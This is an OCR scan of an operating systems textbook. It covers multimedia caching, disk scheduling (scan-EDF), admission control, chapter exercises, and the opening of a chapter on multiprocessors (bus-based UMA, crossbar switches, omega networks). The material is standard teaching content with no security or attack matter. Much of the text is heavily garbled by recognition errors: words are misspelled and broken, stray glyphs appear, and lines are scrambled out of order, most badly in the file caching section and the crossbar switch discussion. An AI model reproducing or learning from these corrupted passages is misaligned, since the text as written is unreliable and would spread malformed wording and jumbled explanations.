The former, called wide striping, does a good job of balancing the load ?ver the 
disks. Its main problem is that if every movie uses every disk and one dISk goes 
down no movie can be shown. The latter, called narrow striping, may suffer 
from hot spots (popular partitions), but loss of one disk only ruins �e movies i.n 
its partition. Striping of variable-sized frames is analyzed in detaIl mathematl
cally in (Shenoy and Vin, 1999). 

7.8 CACHING 

Traditional LRU file caching does not work well with multimedia files be
cause the access patterns for movies are different from those of text files. The 
idea behind traditional LRU buffer caches is that after a block is used, it should be 
kept in the cache in case it is needed again quickly. For example, when editing a 
file, the set of blocks on which the file is written tend to be used over and over 
until the edit session is finished. In other words, when there is relatively high 
probability that a block will be reused within a short interval, it is worth keeping 
around to eliminate a future disk access. 

With multimedia, the usual access pattern is that a movie is viewed from 
beginning to end sequentially. A block is unlikely to be used a second time unless 
the user rewinds the movie to see some scene again. Consequently, normal cach
ing techniques do not work. However, caching can still help, but only if used dif
ferently. In the following sections we wi11 look at caching for multimedia. 
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7.8.1 Block Caching 

. 
Alt�oughjust keepi�g a ?!ock around in the hope that it may be reused quick

ly IS yomtless, the predIctabIlity of multimedia systems can be exploited to make 
cachmg useful agam. Suppose that two users are watching the Same movie with 
one o� them havi�g started 2 sec after the other. After the first user has f�tched 
and vIewed any gIven block, it is very likely that the second user will need the 
same bloc� 2 sec later. The system can easily keep track of which movies have 
�nly one VIewer and which have two or mOre viewers spaced closely together in 
hme. 

Thu� whenever a block is read on behalf of a movie that will be needed ao-ain 
shortly, It .may make se?se to cache it, depending on how long it has to be ca;hed 
and �ow ught memory IS. Instead of keeping all disk blocks in the cache and dis
cardmg the least recently �sed one when the cache fills up, a different strategy 
shoul� be used. Every mOVIe that has a second viewer within Some time tlT of the 
first vlew�r can .be m�ked as cachable and all its blocks cached until the second 
(and possIbly thIrd) VIewer has used them. For other movies, no caching is done 
at all. 

This idea can be taken a step further. In Some cases it may be feasible to 
merge two streams. Suppose that two users are watching the same movie but with 
a. 10-sec delay between them. Holding the blocks in the cache for 10 set: is pos
SIble but wastes .me�ory, An a�ternative, but slightly sneaky, approach is to try to 
get �e two ��vIes.I� sync. ThIS can be done by changing the frame rate for both 
mOVIes. ThIS Idea IS Illustrated in Fig. 7-25. 

In Fig. 7-25(a), both movies run at the NTSC rate of 1800 frames/min. Since 
user

.
2 started 10 sec later, he continues to be 10 sec beyond for the entire movie. 

In FIg. 7-25(b), �owever, User l 's stream is slowed down when user 2 shows up. 
Instead �f runmng 1 �00 frames/min, for the next 3 min, it runs at 1750 
frames/mm. After 3 nu�utes, it is at frame 5550. In addition, user 2's stream is 
played 

.
at 1850 frames/nun for the first 3 min, also putting it at frame 5550. From 

that pomt on, both play at nonnal speed. 
Du�ng th� catch-up period, .user l 's stream is running 2.8% slow and user 2's 

stre.am IS �nnlllg 2.8% fast. It IS unlikely that the users will notice this. Howev
er, If tha� IS a concern, the catch-up period can be spread out over a longer interval 
than 3 nunutes. 

. An alternative way to Slow down a user to merge with another stream is to 
gIve us�rs �e o�tion of having c�mmercials in their mOVies, presumably for a 
lower vlewmg �nce than commercIal-free movies. The user can also choose the 
product categones.' so t�e commercials will be less intrusive -and more likely to be 
watched. By mampulatmg the number, length, and timing of the commercials, the 
stre� can be held back long enough to get in sync with the desired stream 
(Krishnan, 1999). 
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7.8.2 File Caching 

f 1 in multimedia systems in a different way. Due t.o 
Caching can also be US� u 

3-6 GB) video servers often cannot store aU thel.f 
the large size of most mOVIes 

the D'VD or tape When a movie is needed, It 
. d' k they keep em on . . th mOVIes on IS , SO . th ' a substantial startup arne to locate e . d to dISk but ere IS . d" k can always be cO�le 

d" k 'Consequently most video servers maintam a l� 
movie and copy It to 

?]
s .  

ted movi�s. The popular movies are stored In 
cache of the most heavl y reques 
their entirety on disk. 

h" t keep the first few minutes of each movie on 
Another way to use cae l�g.

IS 0 ested playback can start immediately from 
hen a mOVIe IS requ , . disk. That way, w . h " s  copied from DVD or tape to dIsk. By stor-

. fil MeanwhIle t e mOVle 1 hi h the dIsk 1 e. . ' d' sk all the time it is possible to have a very g 
ing enough of the mOVIe �n 1 

f the movie h;s been fetched before it is neede�. 
probability that the nex: pIece � 'n be on disk well before it is needed. It will 
If all goes well, the enure mOVIe WI 
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then go in the cache and stay on disk in ease there are more requests later. If too 
much time goes by without another request, the movie will be removed from the 
cache to make room for a more popular one. 

7.9 DISK SCHEDULING FOR MULTIMEDIA 

Multimedia puts different demands on the disks than traditional text-oriented 
applications such as compilers or word processors. In particular, multimedia de
mands an extremely high data rate and real-time delivery of the data. Neither of 
these is trivial to provide. Furthermore, in the case of a video server, there is 
economic pressure to have a single server handle thousands of clients simultan
eously. These requirements impact the entire system. Above we looked at the 
file system. Now let us look at disk scheduling for multimedia. 

7.9.1 Static Disk Schednling 

Although multimedia puts enormous real-time and data-rate demands on all 
parts of the system, it also has one property that makes it easier to handle than a 
traditional system: predictability. In a traditional operating system, requ¥sts are 
made for disk blocks in a fairly unpredictable way. The best the disk subsystem 
can do is perform a one-block read ahead for each open file. Other than that, all it 
can do is wait for requests to come in and process them on demand. Multimedia 
is different. Each active stream puts a well-defined load on the system that is 
highly predictable. For NTSC playback, every 33.3 msec, each client wants the 
next frame in its file and the system has 33.3 msec to provide all the frames (the 
system needs to buffer at least one frame per stream so that the fetching of frame 
k + I can proceed in parallel with the playback of frame k). 

This predictable load can be used to schedule the disk using algorithms 
tailored to multimedia operation. Below we will consider just one disk, but the 
idea can be applied to mUltiple disks as well. For this example we will assume 
that there are 10 users, each one viewing a different movie. Furthermore, we will 
assume that all movies have the same resolution, frame rate, and other properties. 

Depending on the rest of the system, the computer may have 1 0  processes, 
one per video stream, or one process with 10 threads, or even one process with 
one thread that handles the 10 streams in round-robin fashion. The details are not 
important. What is important is that time is divided up into rounds, where a 
round is the frame time (33.3 msec for NTSC, 40 msec for PAL). At the start of 
each round, one disk request is generated on behalf of each user, as shown in 
Fig. 7-26. 

After all the requests have come in at the start of the round, the disk knows 
what it has to do during that round. It also knows that no other requests will come 
in until these have been processed and the next round has begun. Consequently, it 
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.
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tisfied using a second set of buffers, as the first 
movie). �ese requests mus � s; tarts the first set of buffers are now free and 
ones are sull busy. When roun s , 

can be reused to fetch frame 3.
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th
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frames could be fetched from the disk per round (assuming pairs of frames are 
stored contiguously on the disk). This design cuts the number of disk operations 
in half, at the cost of doubling the amount of buffer space required. Depending on 
the relative availability, performance, and cost of memory versus disk I/O, the 
optimum strategy can be calculated and used. 

7.9.2 Dynamic Disk Scheduling 

In the example above, we made the assumption that all streams have the same 
resolution, frame rate, and other properties. Now let us drop this assumption. 
Different movies may now have different data rates, so it is not possible to have 
one round every 33.3 msec and fetch one frame for each stream. Requests come 
in to the disk more or less at random. 

Each read request specifies which block is to be read and in addition at what 
time the block is needed, that is, the deadline. For simplicity, we will assume that 
the actual service time for each request is the same (even though this is certainly 
not true). In this way we can subtract the fixed service time from each request to 
get the latest time the request can be initiated and still meet the deadline. This 
makes the model simpler because what the disk scheduler cares about is the dead
line for scheduling the request. 

When the system starts up, there are no disk requests pending. When" the first 
request comes in, it is serviced immediately. While the first seek is taking place, 
other requests may come in, so when the first request is finished, the disk driver 
may have a choice of which request to process next. Some request is chosen and 
started. When that request is finished, there is again a set of possible requests: 
those that were not chosen the first time and the new arrivals that came in while 
the second request was being processed. In general, whenever a disk request 
completes, the driver has some set of requests pending from which it has to make 
a choice. The question is: "What algorithm does it use to select the next request 
to service?" 

Two factors play a role in selecting the next disk request: deadlines and cylin
ders. From a performance point of view, keeping the requests sorted on cylinder 
and using the elevator algorithm minimizes total seek time, but may cause re
quests on outlying cylinders to miss their deadline. From a real-time point of 
view, sorting the requests on deadline and processing them in deadline order, ear
liest deadline first, minimizes the chance of missing deadlines, but increases total 
seek time. 

These factors can be combined using the scan-EDF algorithm (Reddy and 
Wyllie, 1994). The basic idea of this algorithm is to collect requests whose dead
lines are relatively close together into batches and process these in cylinder order. 
As an example, consider the situation of Fig. 7-27 at t "'" 700. The disk driver 
knows it has 1 1  requests pending for various deadlines and various cylinders. It 
could decide, for example, to treat the five requests with the earliest deadlines as a 
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batch sort them on cylinder number, and use the elevator algorithm to service 

these
'
in cylinder order. The order would then be 1 l0, 330, 440, 676, and 680. As 

long as every request is completed be�ore its d
,
eadhne, the requests can be safely 

... rearranged to minimize the total seek hme reqmred. 
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Batch together --.... __ ----__ 
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Figure7.27. The scan-EDF algorithm uses deadlines and cylinder numbers for 

scheduling. 

When different streams have different data rates, a serious issue a.?s�s when a 

neW customer sh�s up: should the customer be admitted? If adrmsslOfl of �e 

customer will cause other streams to miss their deadlines frequ
.
ently, the answer IS 

probably no. There are two ways to calculate whether to admit �e new cust?mer 

or not. One way is to assume that each customer needs a certam amount o� re

sources on the average, for example, disk bandwidth, memory buffers, C�U tllI�e. 

etC. If there is enough of each left for an average customer, the new one IS adlllit-

� 'fi . th 
The other algorithm is more detailed. It takes a look at the specI IC mOVIe 

. 
e 

new customer wants and looks up the (precomputed) data rate for that mOVIe, 

which differs for black and white versuS color, cartoons vers�s filmed, and even 

love stories versus· war films. Love stories move slowly WIth long scenes and 

slow cross dissolves. all of which compress well whereas war films have many 

rapid cuts. and fast action, hence many I-frames and large P-frames. If the �e�er 

has enough capacity for the specific film the new customer wants, then adnnssIOn 

is granted; otherwise it is denied. 

7.10 RESEARCH ON MULTIMEDIA 

Multimedia is a hot topic these days, so there is a considerable �mount of re

search about it. Much of this research is about the cont�nt, constructIOn tools. and 

applications, all of which are beyond the scope of thIS book. Another p'opul� 

topic is multimedia and networking, also beyond our scope. Work on multImedia 
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servers, especially distributed ones is related to operating systems though (Sarhan 
and Das, 2004; Matthur and Mundur, 2004; Zaia et aI., 2004). File system support 
for multimedia is also the subject of research in the operating systems community 
(Ahn et ai., 2004; Cheng et at, 2005; Kang et at, 2006; and Park and Ohm, 2006) . 

. 
Good audio and video coding (especially for 3D applications) is important for 

hIgh perf�nnance, so these topics are a subject of research (Chattopadhyay et aI., 
2006; Han et ai., 2006; and Kum and Mayer-Patel, 2006) 

Quality of service is important in multimedia systems, so this topic gets some 
attention (Childs and Ingram, 2001;  and Tarnai et ai., 2004). Related to quality of 
service is scheduling, both for the CPU (Etsion et aI., 2004; Etsion et a1.. 2006; 
Nieh and Lam, 2003; and Yuan and Nahrstedt, 2006) and the disk (Lund and Goe
bel, 2003; and Reddy et ai., 2005). 
_ When broadcasting multimedia programming to paying customers, security is 
Important, so it has been getting some attention (Bami, 2006). 

7,11 SUMMARY 

Multimedia is an up-and-coming use of computers. Due to the large sizes of 
multimedia 

.
files and their stringent real-time playback requirements, operating 

systems deSIgned for text are not optimal for multimedia. Multimedia files con
sist of mUltiple, parallel tracks, usually one video and at least one audio and some
times subtitle tracks as well. These must all be synChronized during playback. 

Audio is recorded by sampling the volume periodically, usually 44,100 
times/sec (for CD quality sound). Compression can be applied to the audio signal. 
giving a uniform compression rate of about lOx. Video compression uses both 
intraframe compression (JPEG) and interframe compression (MPEG). The latter 
represents P-frames as differences from the previous frame. B-frames can be 
based either on the previous frame .or the next frame. 

Multimedia·needs realwtime scheduling in order to meet its deadlines. Two al
gorithms are commonly used. The first is rate monotonic scheduling, which is a 
static preemptive aJgorithm that assigns fixed priorities to processes based on their 
periods. The second is earliest deadline first, which is a dynamic algorithm that 
always chooses the process with the closest deadline. EDF is more complicated. 
but it can achieve 100% utilization, something that RMS cannot achieve. 

Multimedia file systems usually use a push model rather than a pull model. 
Once a stream is started, the bits come off the disk without rurther user requests. 
This approach is radically different from conventional operating systems, but is 
needed to meet the real-time requirements. 

Files can be stored contiguously or not. In the latter case, the unit can be vari
able length (one block is one frame) or fixed length (one block is many frames). 
These approaches have different trade-offs. 
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work for them? 

11. If processing each frame requires 5 ms, what is the maximum number of PAL streams 
that can be sustained by a server running RMS? 

12. The CPU of a video server has a utilization of 65%. How many movies can it show 
using RMS scheduling? 

13. In Fig. 7-15, EDF keeps the CPU busy 100% of the time up to t = 150. It cannot keep 
the CPU busy indefinitely because there is only 975-msec work per second for it to do 
so. Extend the figure beyond 150 msec and determine when the CPU first goes idle 
with EDF. 

14. A DVD can hold enough data for a full-length movie and the transfer rate is adequate 
to display a television-quality program. Why not just use a "farm" of many DVD 
drives as the data source for a, video server? 

15. The operators of a near video-on-demand system have discovered that people in a cer
tain city are not willing to wait more than 6 minutes for a movie to start. How many 
parallel streams do they need for a 3-hour movie? 

16. Consider a system using the scheme of Abram-Profeta and Shin in which the video 
server operator wishes customers to be able to search forward or backward for 1 min 
entirely locally. Assuming the video stream is MPEG-2 at 4 Mbps, how much buffer 
space must each customer have locally? . 

17. A video-an-demand system for HDTV uses the small block model of Fig. 7-20(a) with 
a I-KB disk block. If the video resolution is 1280 x 720 and the data stream is 12 
Mbps, how much disk space is wasted on internal fragmentation in a 2-hour movie 
using NTSC? 

18. Consider the storage allocation scheme of Fig. 7-20(a) for NTSC and PAL. For a 
given disk block and movie size, does one of them suffer more internal fragmentation 
than the other? If so, which one is better and why? 

19. Consider the two alternatives shown in Fig. 7-20. Does the shift toward HDTV favor 
either of these systems over the other? Discuss. 

20. Consider a system with a 2-KB disk block storing a 2-hour PAL movie, with an aver
age of 16 KB per frame. What is the average wasted space using small disk block stor
age method? 

21. In the above example, if each frame entry requires 8 bytes, out of which 1 byte is used 
to indicate the number of disk blocks per frame, what is the longest possible movie 
size that can be stored? 

22. In above example, how many index blocks are needed to store the movie "Gone with 
the Wind" in PAL format? (Hint: The answer may vary). 

23. The near video-an-demand scheme of Chen and Thapar works best when each frame 
set is the same size. Suppose that a movie is being shown in 24 simultaneous streams 
and that one frame in 10 is an I-frame. Also assume that I-frames are 10 times larger 
than P-frames. B-frames are the same size as P-frames. What is the probability that a 
buffer equal to 4 I-frames and 20 P-frames will not be big enough? 'Do you think that 
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such a buffer size is acceptable? To make the problem tractable, assume that frame 

types are randomly and independently distributed over the streams. 

24. For the Chen and Thapar method, assume that a 3-hour movie encoded in PAL fannat 

needs to be streamed every 15 minutes. How many concurrent streamS are needed? 

25. The end result of Fig. 7-18 is that the play point is not in the middle of the buffer any 

more. Devise a scheme to have at least 5 min behind the play point and 5 min ahead 

of it. Make any reasonable assumptions you have to, but state them explicitly. 

26. The design of Fig. 7-19 requires that all language tracks be read on each frame. Sup

pose that the designers of a video server have to support a large number of languages, 

but do not want to devote so much RAM to buffers to hold each frame. What other al

ternatives are available, and what are the advantages and disadvantages of each one? 

27. A small video server has eight movies. What does Zipfs law predict as the probabili

ties for the most popular movie, second most popular movie, and sO on down to the 

least popular movie? 

28. A 14-GB disk with 1000 cylinders is used to hold 1000 30-sec MPEG-2 video clips 

running at 4 Mbps. They are stored according to the organ-pipe algorithm. Assuming 

Zipfs law, what fraction of the time will the disk arm spend in the middle 10 cylin-

ders? 
29. Assuming that the relative demand for films A. B, C, and D is described by Zipfs law, 

what is the expected relative utilization of the four disks in Fig. 7-24 for the four strip-

ing methodS shown? 

30. Two video-an-demand customers started watching the same PAL movie 6 sec. apart. 

If the system speeds up one stream and slows down the other to get them to merge, 

what percent speed up/down is needed to merge them in 3 min? 

31. An MPEG-2 video server uses the round scheme of Fig. 7-26 for NTSC video. All the 

videos come off a single 10,800 rpm UltraWide SCSI disk with an average seek time 

of 3 msec. How many streams can be supported? 

32. Repeat the previous problem, but now assume that scan-EDF reduces the average seek 

time by 20%. How many streams can now be supported? 

33. Consider the following set of requests to the disk. Each request is represented by a 

tuple (Deadline in msec, Cylinder). The scan-EDF algorithm is used, where four 

upcoming deadlines are clustered together and served. If the average time to service 

each request is 6 msec, is there a missed deadline? 

(32, 300); (36, 500); (40, 210); (34, 310) 

Assume that the current time is 15 msec. 

34. Repeat the previous problem once more, but now aSsume that each frame is striped a

crosS four disks, with scan-EDF giving the 20% on each disk. How many streams can 

now be supported. 

35. The text describes using a batch of five data requests to schedule the situation de

scribed in Fig. 7-27(a). If all requests take an equal amount of time, what is the maxi

mum time per request allowable in this example? 
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8 
M U LTIPLE PROCESSOR SYSTEMS 

Since its inception, the computer industry has been driven by an endless quest 
for more and more computing power. The ENIAC could perform 300 operations 
per second, easily 1000 times faster than any calculator before it, yet people were 
not satisfied with it. We now have machines millions of times faster than the 
ENIAC and still there is a demand for yet more horsepower. Astronomers afe try
ing to make sense of the universe, biologists are trying to understand the implica
tions of the human genome, and aeronautical engineers are interested in building 
safer and more efficient aircraft, and all want more CPU cycles. However much 
computing power there is, it is never enough. 

In the past, the solution was always to make the clock run faster. Unfortun
ately, we are beginning to hit some fundamental limits on clock speed. According 
to Einstein's special theory of relativity, no electrical signal can propagate faster 
than the speed of light, which is about 30 cm/nsec in vacuum and about 20 
cm/nsec in copper wire or optical fiber. This means that in a computer with a 10-
GHz clock, the signals cannot travel more than 2 cm in total. For a 100-GHz com
puter the total path length is at most 2 mm. A 1 -TIlz (1000 GHz) computer will 
have to be smaller than 100 microns, just to let the signal get "from one end to the 
other and back once within a single clock cycle. 

Making computers this small may be possible, but then we hit another funda
mental problem: heat dissipation. The faster the computer runs, the more heat it 
generates, and the smaller the computer, the harder it is to get rid of this heat. Al
ready on high-end Pentium systems, the CPU cooler is bigger than the CPU itself. 

521 
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All in aU, going from 1 MHz to 1 GHz simply required incrementally b�tter �n
gineering of the chip manufacturing process. Going from 1 GHz to 1 THz IS gomg 
to require a radically different approach. 

One approach to greater speed is through massively parallel computers. These 
machines consist of many CPUs, each of which runs at "nonnal" speed (whatever 
that may mean in a given year), but which collectively have far more �ornputi�g 
power than a single CPU, Systems with 1000 CPUs are

,
no:v commen:lally aVail

able. Systems with 1 million CPUs are likely to be bUilt In the commg
, 
dec�de. 

While there are other potential approaches to greater speed, such as blOloglcal 
computers, in this chapter we will focus on systems with multiple conventional 
CPUs. 

Highly parallel computers are frequently used for heavy-duty number c�nch-
ing. Problems such as predicting the weather, model�ng airflow aroun� an am::raft 
wing, simulating the world economy, or understandmg drug-receptor mteractions 
in the brain are all computationally intensive. Their solutions require long runs on 
many CPUs at once. The multiple processor systems discussed in this chapter are 
widely used for these and similar problems in science and engineering, among 
other areas. 

Another relevant development is the incredibly rapid growth of the Internet. 
It was originally designed as a prototype for a fault-tolerant military control sys
tem, then became popular among academic computer scientists, and long ago ac
quired many new uses. One of these is linking up thousands of computers all over 
the world to work together on large scientific problems. In a sense, a system. con
sisting of 1000 computers spread all over the world is no different than one c.on
sisting of 1000 computers in a single room, although the delay and other techmcal 
characteristics are different. We will also consider these systems in this chapter. 

Putting 1 million unrelated computers in a room is easy to do provided that 
you have enough money and a sufficiently large room. Spreading 1 million unre
lated computers around the world is even easier since it finesses the second prob
lem. The trouble comes in when you want them to communicate with one another 
to work together on a single problem. As a consequence, a great deal of work has 
been done on the interconnection technology, and different interconnect technolo
gies have led to qualitatively different kinds of systems and different software 
organizations, . . All communication between electronic (or optICal) components ultimately 
comes down to sending messages-well-defined bit strings-between them. The 
differences are in the time scale, distance scale, and logical organization involved. 
At one extreme are the shared-memory mUltiprocessors, in which somewhere be
tween two and about 1000 CPUs communicate via a shared memory. In this 
model, every CPU has equal access to the entire physical memory, and can read 
and write individual words using LOAD and STORE instructions. Accessing a 
memory word usually takes 2-10 nsec. While this model, illustrated in Fig. 8-
lea), sounds simple, actually implementing it is not really so simple and usually 

involves considerabl� message passing under the covers, as we will shortly. However, this message passing is invisible to the programmers. 
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explain 

I 
Complete system 

(a) (b) (e) 

Figu.re 8·1. (a) A shared�memory multiprocessor. (b) A message-passing 
multicomputer. (c) A wide area distributed system. 

e M  

e M  

. Next comes the syste� of Fig. �- l (b) in which a number of CPU-memory paIrs are con�ected b� a hIgh-speed mterconnect. This kind of system is called a message-passmg multIcomputer. Each memory is local to a single CPU and can be accessed only by that CPU. The CPUs communicate by sending multiword mess.ages over the interco
.nnect. With a good interconnect, a short message can be sent m

.
1O-50 }lsec, but still far longer than the memory access time of Fig. 8-1(a). The�e IS no shared global memory in this design. Multicomputers (i.e., messagepassmg systems) are much easier to build than (shared-memory) multiprocessors, but they are harder to program. Thus each geme has its fans. The third model, which is illustrated in Fig. 8-I (c), connects complete computer systems over a wide area !1etwork, such as the Internet, to form a distributed system. �ach of these has its own memory and the systems communicate ?y mes�age passmg. The only real difference between Fig. 8-1 (b) and Fig. 8-1 (c) IS that m the latter, complete computers are used and messaO"e times are often l?-lOO msec. This long delay forces these loosely coupled sy�ems to be used in dIfferent �ays �han �e tightly coupled systems of Fig. 8-1(b). The three types of syste�s dIffer III therr delays by something like three orders of magnitude. That is the difference between a day and three years. 

. This chapter has four major sections, corresponding to the three models of FIg. 8-1 plus one section on virtualization, which is a way in software to create the appearance of more CPUs. In each one, we start out with a brief introduction to the rele:ant hardware. Then we move on to the software, especially the operating system Issues for that type of system. As we will see, in each case different issues are present and different approaches are needed. 
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8.1 MULTIPROCESSORS 

A shared-memory multiprocessor (or just mUltiprocessor henceforth) is a 
computer system in which two or more CPUs share full access to a COmm?ll 
RAM. A program running on any of the CPUs sees a normal (usually paged) VIr
tual address space. The only unusual property this system has is that the CPU c�n 
write some value into a memory word and then read the word back and get a dIf
ferent value (because another CPU has changed it), When organized correc�ly, 
this property forms the ba�is of interprocessor communication: one CPU wntes 
some data into memory and another one reads the data out. 

For the most part, multiprocessor operating systems are just reg�lar operating 
systems. They handle system calls, do memory management, prov:de a �le sys
tem and manage I/O devices. Nevertheless, there are some areas III WhICh they 
hav� 

unique features. These include process syn�hronization, re�ource manage
ment, and scheduling. Below we will first take a bnef look at multJprocessor hard
ware and then move on to these operating systems' issues. 

8.1.1 Multiprocessor Hardware 

Although all multiprocessors have the property that every CPU can address all 
of memory some multiprocessors have the additional property that every memory 
word can b� read as fast as every other memory word. These machines are called 
UMA (Uniform Memory Access) multiprocessors. In contrast, NUMA (N�nu�� 
iform Memory Access) multiprocessors do not have this property. Why �lS dIf
ference exists will become clear later. We will first examine UMA mUltiproces
sors and then move on to NUMA mUltiprocessors. 

UMA Multiprocessors with Busw Based Architectures 

The simplest mUltiprocessors are based on a single bus, as illustrated in 
Fig. 8-2(a). Two or more CPUs and one or more memory modules all u�e the 
same bus for communication. When a CPU wants to read a memory word, It first 
checks to see if the bus is busy. If the bus is idle, the CPU puts the address of the 
word it wants on the bus, asserts a few control signals, and waits until the memory 
puts the desired word on the bus. . . If the bus is busy when a CPU wants to read or wnte memory, the CPU Just 
waits until the bus becomes idle. Herein lies the problem with this -design. With 
two or three CPUs, contention for the bus will be manageable; with 32 or 64 it 
will be unbearable. The system will be totally limited by the bandwidth of the bus, 
and most of the CPUs will be idle most of the time. 

The solution to this problem is to add a cache to each CPU, as d�picted in 
Fig. 8-2(b). The cache can be inside the CPU chip, next to the CPU ChIP, on the 
processor board, or some combination of all three. Since many reads can now be 
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Figure 8�2. Three bus-based multiprocessors. (a) Without caching. (b) With 
caChing. (e) With caching and private memories. 
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satisfied out of the local cache, there will be much less bus traffic, and the system 
can support more CPUs. In general, caching is not done on an individual word 
basis but on the basis of 32w or 64-byte blocks. When a word is referenced its en
tire block, called a cache line, is fetched into the cache of the CPU touchin

'
(7 it 

Each cache block is marked as being either read-only (in which caSe it
O
ca� be 

present in mul�ple caches at the same time) or read-write (in which case it may 
not be present m any other caches). If a CPU attempts to write a word that is in 
one or mo�e rem�te caches, the bus hardware detects the write and pUts a signal 
on the bus mformmg all other caches of the write. If other caches have a "clean" 

�opy, that is, an e:act copy of what is in memory, they can just discard their cop
Ies and let the wnter fetch the cache block from memory before modifying it. If 
some other cache has a "dirty" (Le., modified) copy, it must either write it back to 
memory before the write can proceed or transfer it directly to the writer over the 
bus. This set ofrule� is called a cache-coherence protocol and is one of many. 

Yet another pOSSIbility is the design of Fig. 8-2(c), in which each CPU has not 
only a cache, but also a local, private memory which it accesses over a dedicated 
(private) bus. To use this configuration optimally, the compiler should place all 
the program text, strings, constants and other read-only data, stacks, and local 
variables in the private memories. The shared memory is then only used for writ
able shared va�iables. In most cases, this careful placement will greatly reduce 
bus traffic, but It does require active cooperation from the compiler. 

UMA Multiprocessors Using Crossbar Switches 

Even with the best caching, the use of a single bus limits· ,the size of a UMA 
multiprocessor to about 16 or 32 CPUs. To go beyond that, a different kind of 
interconn

.
ecti?fl network is needed. The simplest circuit. for connecting n CPUs to 

k memones IS the crossbar switch, shown in Fig. 8-3. Crossbar switches have 
bee� use� for decades in telephone switching exchanges to connect a group of in
commg hnes to a set of outgoing lines in an arbitrary way. 
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. . f a horizontal (incoming) and vertical (outgoing) line IS At each intersectIon � t is a small switch that can be electrically opened or a crosspoint. ,A cr�s:rh��er the horizontal and vertical l�nes are to be connec�ed closed, dependmg 0 
see three crosspoints closed sImultaneously, allowmg or not In Fig. 8-3(a) �

ve
(CPU memory) pairs (010, 000), (101, 101), and (110, connections betWe�n t e

Many �ther combinations are also possibl�. In fact, the 010) at the sarn� tl�e. . equal to the number of different ways eIght rooks can b f combmatIOnS IS num er 0 chess board. be safely placed on a 

m ::0 "
() 

Memories 

Crosspoint 

W-J�t+-t-i�----------$ '.' 
Closed 
crosspoint 
switch 

(a) 

t 
Open 
crosspoint 
switch 

(b) 

Crosspoint 

�Ef}-
(e) 

3 (a) An 8 x 8 crossbar switch. (b) An open crosspoint. (c) A closed 
Figure 8· . 
crosspoint. 

. erties of the crossbar switch is that it is a nonblocking One of the �lcest prop 
CPU is ever denied the connection it needs because m"- that nO 

d 1 
. If network, me�n 

; line is already occupied (assuming the mem�ry mo u e .ltse some crosspomt 
no advance plannin(1 is needed. Even If seven arbItrary bI ) Furthermore, Q • •  CPU is availa e .  

d t up it is always possible to connect the remammg connections are alrea Y se , 
to the remaining memory. 

's s,,·11 possible of course if two CPUs want to access . for memory I " 
. ContentIOn 

h e ',' me Nevertheless by partitioning the memory mto d le att e sam . , . 8 2  the same mo u. . d ced by a factor of n compared to the model of FIg. - . n units, contention IS re u 
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One of the worst properties of the crossbar switch is the fact that the number of crosspoints grows as n 2. With 1000 CPUs and 1000 memory modules we need a million crosspoints. Such a large crossbar switch is not feasible. Nevertheless, for medium-sized systems, a crossbar design is workable. 

UMA Multiprocessors Using Multistage Switching Networks 
A completely different mUltiprocessor design is based on the humble 2 x 2 switch shown in Fig. 8-4(a). This switch has two inputs and two outputs. Messages arriving on either input line can be switched to either output line. For our purposes, messages will contain up to four parts, as shown in Fig. 8-4(b). The Module field tells which memory to use. The Address specifies an address within a module. The Opcode gives the operation, such as READ or WRITE. Finally, the optional Value field may contain an operand, such as a 32-bit word to be written on a WRITE. The switch inspects the Module field.and uses it to determine if the message should be sent on X or on Y. 

(a) 

I Module I Address I Opcode Value 

(b) 

Figure 8·4. (a) A 2 x 2 switch with two input lines, A and E, and two output lines, X and Y. (b) A message format. 

Our 2 X 2 switches can be arranged in many ways to build larger multistage switching networks (Adams et aI., 1987; Bhuyan et aI., 1989; and Kumar and Reddy, 1987). One possibility is the no-frills, economy class omega network, illustrated in Fig. 8-5. Here we have connected eight CPUs to eight memories using 12 switches. More generally, for n CPUs and n memories we would need log2n stages, with nl2 switches per stage, for a total of (nI2)log2n switches, which is a lot better than n2 crosspoints, especially for large values of n. The wiring pattern of the omega network is often called the perfect shuffle, since the mixing of the signals at each stage resembles a deck of cards being cut in half and then mixed card-for-card. To see how the omega network works, sup� pose that CPU 011  wants to read a word from memory module 1 10. The CPU sends a READ message to switch ID containing the value 1 10 in the Module field. The switch takes the first (i.e., leftmost) bit of 1 10 and uses it for routing. A o routes to the upper output and a 1 routes to the lower one. Since this bit is a 1 ,  the message is routed via the lower output to 20. All the second-stage switches, including 2D, use the second bit for routing. This, too, is a 1, so the message is now forwarded via the lower output to 3D. Here the th�rd bit is tested and found to be a O. Consequently, the message goes 
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CPUs 
Memories 

b 

a 

Figure 8�5. An omega switching network. 

out on the upper output and arrives at memory 1 10, as desired. The path followed 

by this message is marked in Fig. 8-5 by t�e l�tter a. . 

As the message moves through the sWltchmg network, the bIts at the left-hand 

end of the module number are no longer needed. They can be put to good use by 

recording the incoming line number there, so the reply can fin� its way back. For 

path a, the incoming lines are 0 (upper input to ID), 1 (lowe
.
! mput to 2D), an? 1 

(lower input to 3D), respectively. The reply is routed back usmg 0 1 1 ,  only readmg 

it from right to left this time. . 
At the same time all this is going on, CPU 001 wants to wnte a word to men:

ory module 00 L An analogous process happens here, with the message routed VI� 

the upper, upper, and lower outputs, respectively, marked ?y the let�er b. When It 

arrives, its Module field reads 001, representing the path It took. Smce these two 

requests do not use any of the same switches, lines, or memory modules, they can 

proceed in parallel. 
Now consider what would happen if CPU 000 simultaneously wanted to ac

cess memory module 000. Its request would come into conflict with CPU 001's 

request at switch 3A. One of them would then have to wait. Unlike the crossbar 

switch, the omega network is a blocking network. Not every set of requ�sts can 

be processed simultaneously. Conflicts can occur over the use of a WIfe or a 

switch as well as between requests to memory and replies from memory. 

It is clearly desirable to spread the memory reference� unifonnly across the 

modules. One common technique is to use the low-order bIts as the module num

ber. Consider, for example, a byte-oriented address space for a computer that 

mostly accesses full 32-bit words. The 2 low-orde� bits will usu�lly be 00, but the 

next 3 bits will be unifonnly distributed. By usmg these 3 bIts as the module 

number, consecutively words will be in consecutive modules. A memory system 
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in which consecutive words are in different modules is said to be interleaved. 
Interleaved memories maximize parallelism because most memory references are 
to consecutive addresses. It is also possible to design switching networks that are 
nonblocking and offer multiple paths from each CPU to each memory module to 
spread the traffic better. 

NOMA Multiprocessors 

Single-bus UMA multiprocessors are generally limited to no more than a few 
dozen CPUs, and crossbar or switched multiprocessors need a lot of (expensive) 
hardware and are not that much bigger. To- get to more than 100 CPUs, some
thing has to give. Usually, what gives is the idea that all memory modules have 
the same access time. This concession leads to the idea of NUMA multiproces
sors, as mentioned above. Like their UMA cousins, they provide a single address 
space across an the CPUs, but unlike the UMA machines, access to local memory 
m?dules is faster than access to remote ones. Thus all UMA programs will run 
